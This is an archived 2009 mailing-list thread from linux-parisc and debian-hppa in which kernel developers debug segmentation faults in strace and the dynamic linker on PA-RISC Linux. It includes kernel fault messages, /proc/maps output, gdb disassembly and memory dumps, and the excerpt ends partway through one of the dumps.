Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1676>

> On Wed, May 06, 2009 at 01:39:49PM -0400, John David Anglin wrote:
> > > The tombstone is:
> > > 
> > > do_page_fault() pid=10205 command='strace' type=15 address=0x407d2f18
> > > vm_start = 0x4068d000, vm_end = 0x4068f000
> > 
> > So, the pointer passed to __canonicalize_funcptr_for_compare is outside
> > the vm range.
> > 
> > Maybe "info sharedlib" will show something.  Need to find out why the
> > address of the function descriptor is outside the vm range.
> > 
> 
> 405c0000-405c2000 rwxp 405c0000 00:00 0 

The function pointer address is also outside this range.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Thu, 7 May 2009 14:37:24 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20090507183724.GC30675@bombadil.infradead.org>
References: <20090507165216.GB30675@bombadil.infradead.org> <20090507174104.1634E4EE8@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241721464 10046 80.91.229.12 (7 May 2009 18:37:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 7 May 2009 18:37:44 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, matthew@wil.cx,
	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 07 20:37:34 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M28TN-0003C1-VM
	for glpp-linux-parisc@gmane.org; Thu, 07 May 2009 20:37:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751251AbZEGShb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 May 2009 14:37:31 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751626AbZEGShb
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 7 May 2009 14:37:31 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:44620 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751251AbZEGShb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 May 2009 14:37:31 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1M28TE-0007FI-U1; Thu, 07 May 2009 18:37:25 +0000
Content-Disposition: inline
In-Reply-To: <20090507174104.1634E4EE8@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1677 gmane.linux.debian.ports.hppa:5699
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1677>

On Thu, May 07, 2009 at 01:41:03PM -0400, John David Anglin wrote:
> > On Wed, May 06, 2009 at 01:39:49PM -0400, John David Anglin wrote:
> > > > The tombstone is:
> > > > 
> > > > do_page_fault() pid=10205 command='strace' type=15 address=0x407d2f18
> > > > vm_start = 0x4068d000, vm_end = 0x4068f000
> > > 
> > > So, the pointer passed to __canonicalize_funcptr_for_compare is outside
> > > the vm range.
> > > 
> > > Maybe "info sharedlib" will show something.  Need to find out why the
> > > address of the function descriptor is outside the vm range.
> > > 
> > 
> > 405c0000-405c2000 rwxp 405c0000 00:00 0 
> 
> The function pointer address is also outside this range.
> 

Sorry, this was with a rebuilt binary, and it lies within this range.

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Thu, 7 May 2009 14:41:10 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <20090507184111.023084FC4@hiauly1.hia.nrc.ca>
References: <20090507183724.GC30675@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241721686 10951 80.91.229.12 (7 May 2009 18:41:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 7 May 2009 18:41:26 +0000 (UTC)
Cc: kyle@mcmartin.ca, matthew@wil.cx, linux-parisc@vger.kernel.org,
	debian-hppa@lists.debian.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 07 20:41:16 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M28Ww-0004xe-Lq
	for glpp-linux-parisc@gmane.org; Thu, 07 May 2009 20:41:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753173AbZEGSlM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 May 2009 14:41:12 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753429AbZEGSlM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 7 May 2009 14:41:12 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4859 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753173AbZEGSlL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 May 2009 14:41:11 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 023084FC4; Thu,  7 May 2009 14:41:10 -0400 (EDT)
In-Reply-To: <20090507183724.GC30675@bombadil.infradead.org> from "Kyle McMartin" at May 7, 2009 02:37:24 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1678 gmane.linux.debian.ports.hppa:5700
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1678>

> On Thu, May 07, 2009 at 01:41:03PM -0400, John David Anglin wrote:
> > > On Wed, May 06, 2009 at 01:39:49PM -0400, John David Anglin wrote:
> > > > > The tombstone is:
> > > > > 
> > > > > do_page_fault() pid=10205 command='strace' type=15 address=0x407d2f18
> > > > > vm_start = 0x4068d000, vm_end = 0x4068f000
> > > > 
> > > > So, the pointer passed to __canonicalize_funcptr_for_compare is outside
> > > > the vm range.
> > > > 
> > > > Maybe "info sharedlib" will show something.  Need to find out why the
> > > > address of the function descriptor is outside the vm range.
> > > > 
> > > 
> > > 405c0000-405c2000 rwxp 405c0000 00:00 0 
> > 
> > The function pointer address is also outside this range.
> > 
> 
> Sorry, this was with a rebuilt binary, and it lies within this range.

It's marked rwxp, so why the fault?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Thu, 07 May 2009 21:06:44 +0000
Lines: 37
Approved: news@gmane.org
Message-ID: <1241730404.3254.77.camel@mulgrave.int.hansenpartnership.com>
References: <20090507184111.023084FC4@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241730430 11553 80.91.229.12 (7 May 2009 21:07:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 7 May 2009 21:07:10 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, matthew@wil.cx,
	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 07 23:06:59 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M2Ano-0007so-Io
	for glpp-linux-parisc@gmane.org; Thu, 07 May 2009 23:06:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750912AbZEGVGq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 May 2009 17:06:46 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751154AbZEGVGq
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 7 May 2009 17:06:46 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:55905 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750912AbZEGVGp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 May 2009 17:06:45 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 5348F8EE18D;
	Thu,  7 May 2009 14:06:46 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id w0Gv27b1NGyX; Thu,  7 May 2009 14:06:46 -0700 (PDT)
Original-Received: from [192.168.10.222] (mulgrave.ext.hansenpartnership.com [192.168.10.222])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 8283D8EE01B;
	Thu,  7 May 2009 14:06:45 -0700 (PDT)
In-Reply-To: <20090507184111.023084FC4@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1679 gmane.linux.debian.ports.hppa:5701
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1679>

On Thu, 2009-05-07 at 14:41 -0400, John David Anglin wrote:
> > On Thu, May 07, 2009 at 01:41:03PM -0400, John David Anglin wrote:
> > > > On Wed, May 06, 2009 at 01:39:49PM -0400, John David Anglin wrote:
> > > > > > The tombstone is:
> > > > > > 
> > > > > > do_page_fault() pid=10205 command='strace' type=15 address=0x407d2f18
> > > > > > vm_start = 0x4068d000, vm_end = 0x4068f000
> > > > > 
> > > > > So, the pointer passed to __canonicalize_funcptr_for_compare is outside
> > > > > the vm range.
> > > > > 
> > > > > Maybe "info sharedlib" will show something.  Need to find out why the
> > > > > address of the function descriptor is outside the vm range.
> > > > > 
> > > > 
> > > > 405c0000-405c2000 rwxp 405c0000 00:00 0 
> > > 
> > > The function pointer address is also outside this range.
> > > 
> > 
> > Sorry, this was with a rebuilt binary, and it lies within this range.
> 
> It's marked rwxp, so why the fault?

That's a bit fascinating ... it means we got into the bad_area: goto of
do_page_fault() somehow even though the vma apparently allowed the fault
and we should have been able to page it in.  Something like this might
explain a lot of our stability problems.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Thu, 7 May 2009 17:08:53 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <20090507210853.GD30675@bombadil.infradead.org>
References: <20090507184111.023084FC4@hiauly1.hia.nrc.ca> <1241730404.3254.77.camel@mulgrave.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241730552 12054 80.91.229.12 (7 May 2009 21:09:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 7 May 2009 21:09:12 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Kyle McMartin <kyle@mcmartin.ca>, matthew@wil.cx,
	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 07 23:09:01 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M2Apw-0000UV-Ez
	for glpp-linux-parisc@gmane.org; Thu, 07 May 2009 23:09:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752879AbZEGVI6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 May 2009 17:08:58 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753298AbZEGVI6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 7 May 2009 17:08:58 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:39470 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752879AbZEGVI5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 May 2009 17:08:57 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1M2App-0006Hm-R6; Thu, 07 May 2009 21:08:53 +0000
Content-Disposition: inline
In-Reply-To: <1241730404.3254.77.camel@mulgrave.int.hansenpartnership.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1680 gmane.linux.debian.ports.hppa:5702
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1680>

On Thu, May 07, 2009 at 09:06:44PM +0000, James Bottomley wrote:
> On Thu, 2009-05-07 at 14:41 -0400, John David Anglin wrote:
> > > On Thu, May 07, 2009 at 01:41:03PM -0400, John David Anglin wrote:
> > > > > On Wed, May 06, 2009 at 01:39:49PM -0400, John David Anglin wrote:
> > > > > > > The tombstone is:
> > > > > > > 
> > > > > > > do_page_fault() pid=10205 command='strace' type=15 address=0x407d2f18
> > > > > > > vm_start = 0x4068d000, vm_end = 0x4068f000
> > > > > > 
> > > > > > So, the pointer passed to __canonicalize_funcptr_for_compare is outside
> > > > > > the vm range.
> > > > > > 
> > > > > > Maybe "info sharedlib" will show something.  Need to find out why the
> > > > > > address of the function descriptor is outside the vm range.
> > > > > > 
> > > > > 
> > > > > 405c0000-405c2000 rwxp 405c0000 00:00 0 
> > > > 
> > > > The function pointer address is also outside this range.
> > > > 
> > > 
> > > Sorry, this was with a rebuilt binary, and it lies within this range.
> > 
> > It's marked rwxp, so why the fault?
> 
> That's a bit fascinating ... it means we got into the bad_area: goto of
> do_page_fault() somehow even though the vma apparently allowed the fault
> and we should have been able to page it in.  Something like this might
> explain a lot of our stability problems.
> 

Sadly, I can't seem to reproduce this right now, because strace is dying
with the ptrace issue JDA brought up earlier. I'll poke at it more
tonight, but I want to get caught up on the merging first.

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Sat, 09 May 2009 10:39:59 +0800
Lines: 21
Approved: news@gmane.org
Message-ID: <4A04ECFF.7090308@tausq.org>
References: <20090507184111.023084FC4@hiauly1.hia.nrc.ca> <1241730404.3254.77.camel@mulgrave.int.hansenpartnership.com> <20090507210853.GD30675@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241836821 10099 80.91.229.12 (9 May 2009 02:40:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 9 May 2009 02:40:21 +0000 (UTC)
To: linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 09 04:40:11 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M2cTz-0000tQ-3M
	for glpp-linux-parisc@gmane.org; Sat, 09 May 2009 04:40:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751197AbZEICkI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 May 2009 22:40:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751209AbZEICkH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 8 May 2009 22:40:07 -0400
Original-Received: from rv-out-0506.google.com ([209.85.198.229]:39304 "EHLO
	rv-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751197AbZEICkG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 May 2009 22:40:06 -0400
Original-Received: by rv-out-0506.google.com with SMTP id f9so1413605rvb.1
        for <linux-parisc@vger.kernel.org>; Fri, 08 May 2009 19:40:05 -0700 (PDT)
Original-Received: by 10.114.144.1 with SMTP id r1mr3864644wad.2.1241836805853;
        Fri, 08 May 2009 19:40:05 -0700 (PDT)
Original-Received: from ?192.168.100.52? (ip127.bb146.pacific.net.hk [202.64.146.127])
        by mx.google.com with ESMTPS id d20sm2198737waa.12.2009.05.08.19.40.02
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Fri, 08 May 2009 19:40:04 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.21 (Windows/20090302)
In-Reply-To: <20090507210853.GD30675@bombadil.infradead.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1681 gmane.linux.debian.ports.hppa:5703
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1681>


> Sadly, I can't seem to reproduce this right now, because strace is dying
> with the ptrace issue JDA brought up earlier. I'll poke at it more
> tonight, but I want to get caught up on the merging first.
>
> cheers, Kyle
>   
Kyle suggested I mention atrace to the strace developers. Maybe others 
here are interested:

http://sourceforge.net/mailarchive/forum.php?thread_name=4A04EB4A.5030204%40tausq.org&forum_name=strace-devel

For all I know, atrace is also horribly broken, but at least it seems to 
be able to trace "ls -l"   :-)

randolph
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Sat, 9 May 2009 13:18:03 -0400 (EDT)
Lines: 128
Approved: news@gmane.org
Message-ID: <20090509171823.DDEEA50D8@hiauly1.hia.nrc.ca>
References: <20090507165216.GB30675@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241889557 23673 80.91.229.12 (9 May 2009 17:19:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 9 May 2009 17:19:17 +0000 (UTC)
Cc: kyle@mcmartin.ca, matthew@wil.cx, linux-parisc@vger.kernel.org,
	debian-hppa@lists.debian.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 09 19:19:06 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M2qCY-0002oP-9U
	for glpp-linux-parisc@gmane.org; Sat, 09 May 2009 19:19:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751197AbZEIRTD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 May 2009 13:19:03 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751386AbZEIRTD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 9 May 2009 13:19:03 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4946 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751197AbZEIRTB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 May 2009 13:19:01 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id DDEEA50D8; Sat,  9 May 2009 13:18:22 -0400 (EDT)
In-Reply-To: <20090507165216.GB30675@bombadil.infradead.org> from "Kyle McMartin" at May 7, 2009 12:52:16 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1682 gmane.linux.debian.ports.hppa:5704
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1682>

> On Wed, May 06, 2009 at 01:39:49PM -0400, John David Anglin wrote:
> > > The tombstone is:
> > > 
> > > do_page_fault() pid=10205 command='strace' type=15 address=0x407d2f18
> > > vm_start = 0x4068d000, vm_end = 0x4068f000
> > 
> > So, the pointer passed to __canonicalize_funcptr_for_compare is outside
> > the vm range.
> > 
> > Maybe "info sharedlib" will show something.  Need to find out why the
> > address of the function descriptor is outside the vm range.
> > 
> 
> 405c0000-405c2000 rwxp 405c0000 00:00 0 
> 
> is the output of /proc/maps there... No idea wtf this is. :/

What are vm_start and vm_end?

Another segv last night.

Core was generated by `rm -f ada/bldtools/nmake_s/sinfo.ads ada/bldtools/nmake_s/nmake.adt ada/bldtool'.
Program terminated with signal 11, Segmentation fault.
[New process 12287]
#0  _dl_relocate_object (scope=0x40000db8, lazy=<value optimized out>, 
    consider_profiling=0) at do-rel.h:119
119	do-rel.h: No such file or directory.
	in do-rel.h

(gdb) p/x $pc
$1 = 0x402759ac

0x40275980 <_dl_relocate_object+728>:	ldw 4(ret0),r17
0x40275984 <_dl_relocate_object+732>:	ldw 4(r9),r21
0x40275988 <_dl_relocate_object+736>:	extrw,u r21,23,24,r22
0x4027598c <_dl_relocate_object+740>:	depw,z r22,27,28,r13
0x40275990 <_dl_relocate_object+744>:	ldw 0(r9),r20
0x40275994 <_dl_relocate_object+748>:	add,l r16,r13,r8
0x40275998 <_dl_relocate_object+752>:	stw r8,8(r3)
0x4027599c <_dl_relocate_object+756>:	add,l r12,r20,r10
0x402759a0 <_dl_relocate_object+760>:	ldb c(r8),ret0
0x402759a4 <_dl_relocate_object+764>:	extrw,u r21,31,8,r6
---Type <return> to continue, or q <return> to quit---
0x402759a8 <_dl_relocate_object+768>:	extrw,u ret0,27,28,ret0
0x402759ac <_dl_relocate_object+772>:	ldh,s r22(r17),r31
0x402759b0 <_dl_relocate_object+776>:	ldw 170(r11),ret1
0x402759b4 <_dl_relocate_object+780>:	cmpib,= 0,ret0,0x40275a64 <_dl_relocate_object+956>
0x402759b8 <_dl_relocate_object+784>:	copy r11,r5
End of assembler dump.
(gdb) p/x $r11
$3 = 0x40000c00
(gdb) p/x $r11 + 0xe4
$4 = 0x40000ce4
(gdb) x/x 0x40000ce4 
0x40000ce4:	0x4071e828
(gdb) x/x 0x4071e828 + 4
0x4071e82c <.LC2+200>:	0xa38cf763

(gdb) p/x $r22
$6 = 0x1

May  8 22:39:41 mx3210 kernel: do_page_fault() pid=12287 command='rm' type=15 address=0xa38cf765
May  8 22:39:41 mx3210 kernel: vm_start = 0x40724000, vm_end = 0x40726000

So, the address for ldh,s matches that in the tombstone.

...
002ae000-005f5000 rwxp 002ae000 00:00 0                                  [heap]
40000000-4000c000 rw-p 40000000 00:00 0 
4000c000-40011000 r-xp 00000000 08:03 640603                             /lib/libthread_db-1.0.so
...
4066d000-40670000 rwxp 0007a000 08:03 641636                             /lib/libm-2.9.so
40670000-4073d000 rw-p 4028d000 00:00 0 
...
40b26000-410fe000 rw-p 40b26000 00:00 0 
c0215000-c022a000 rwxp c0215000 00:00 0                                  [stack]

I don't see anything in /proc/maps that matches the vm range in the tombstone.

Comparing memory for the core dump with a normal start to main:

Core dump
(gdb) x/64x 0x4071e800
0x4071e800 <.LC2+156>:	0x6ffffffc	0x000129a8	0x6ffffffd	0x00000013
0x4071e810 <.LC2+172>:	0x0000001e	0x00000014	0x6ffffffe	0x00012c3c
0x4071e820 <.LC2+188>:	0x6fffffff	0x00000001	0x6ffffff0	0xa38cf763
0x4071e830 <.LC2+204>:	0x6ffffff9	0x00000d5b	0x00000000	0x00000000
0x4071e840 <.LC2+220>:	0x00000000	0x00000000	0x00000000	0x00000000
0x4071e850 <.LC2+236>:	0x00000000	0x00000000	0x00000000	0x00000000
0x4071e860 <__libc_multiple_libcs>:	0x00000001	0x00000000	0x00000000	0x00000000
0x4071e870 <__gconv_lock>:	0x00000000	0x00000000	0x00000000	0x00000000
0x4071e880 <__gconv_lock+16>:	0x00000001	0x00000001	0x00000001	0x00000001
0x4071e890 <__gconv_lock+32>:	0x00000000	0x00000000	0x00000000	0x00000000
0x4071e8a0 <lock.11041>:	0x00000000	0x00000000	0x00000000	0x00000000
0x4071e8b0 <lock.11041+16>:	0x00000001	0x00000001	0x00000001	---Type <return> to continue, or q <return> to quit---
0x00000001
0x4071e8c0 <lock.11041+32>:	0x00000000	0x00000000	0x00000000	0x00000000
0x4071e8d0 <lock>:	0x00000000	0x00000000	0x00000000	0x00000000
0x4071e8e0 <lock+16>:	0x00000001	0x00000001	0x00000001	0x00000001
0x4071e8f0 <lock+32>:	0x00000000	0x00000000	0x00000000	0x00000000

Normal:
(gdb) x/64x 0x4071e800
0x4071e800 <.LC2+156>:	0x6ffffffc	0x000129a8	0x6ffffffd	0x00000013
0x4071e810 <.LC2+172>:	0x0000001e	0x00000014	0x6ffffffe	0x00012c3c
0x4071e820 <.LC2+188>:	0x6fffffff	0x00000001	0x6ffffff0	0x405ea8cc
0x4071e830 <.LC2+204>:	0x6ffffff9	0x00000d5b	0x00000000	0x00000000
0x4071e840 <.LC2+220>:	0x00000000	0x00000000	0x00000000	0x00000000
0x4071e850 <.LC2+236>:	0x00000000	0x00000000	0x00000000	0x00000000
0x4071e860 <__libc_multiple_libcs>:	0x00000000	0x00000000	0x00000000	0x00000000
